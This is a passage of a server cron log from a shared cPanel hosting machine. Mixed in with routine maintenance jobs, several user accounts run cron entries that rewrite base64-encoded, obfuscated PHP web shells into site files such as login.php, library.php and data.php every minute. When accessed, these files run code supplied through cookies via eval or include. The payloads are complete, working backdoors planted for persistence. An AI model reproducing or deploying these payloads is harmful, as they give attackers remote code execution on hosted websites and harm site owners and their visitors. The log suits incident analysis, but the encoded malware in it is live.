Mar  1 12:50:01 medusa CROND[23932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 12:50:01 medusa CROND[23933]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:50:01 medusa CROND[23939]: (root) CMD (/usr/bin/kcarectl --auto-update )
Mar  1 12:50:01 medusa CROND[23941]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:50:01 medusa CROND[23944]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:50:01 medusa CROND[23943]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23950]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:50:01 medusa CROND[23952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23955]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:50:01 medusa CROND[23953]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:50:01 medusa CROND[23964]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23965]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:50:01 medusa CROND[23934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23966]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23967]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 12:50:01 medusa CROND[23977]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:50:01 medusa CROND[23980]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:50:01 medusa CROND[23979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:50:01 medusa CROND[23978]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 12:50:01 medusa CROND[23983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:50:01 medusa CROND[23982]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:51:01 medusa CROND[16645]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:51:01 medusa CROND[16682]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:51:01 medusa CROND[16683]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:51:01 medusa CROND[16685]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:51:01 medusa CROND[16686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:51:01 medusa CROND[16687]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:51:01 medusa CROND[16688]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:51:01 medusa CROND[16689]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:51:01 medusa CROND[16691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:51:01 medusa CROND[16693]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:51:01 medusa CROND[16696]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:51:01 medusa CROND[16704]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:51:01 medusa CROND[16707]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:51:01 medusa CROND[16709]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:51:01 medusa CROND[16710]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:52:01 medusa CROND[9900]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:52:01 medusa CROND[9901]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:52:01 medusa CROND[9903]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:52:01 medusa CROND[9905]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:52:01 medusa CROND[9908]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05E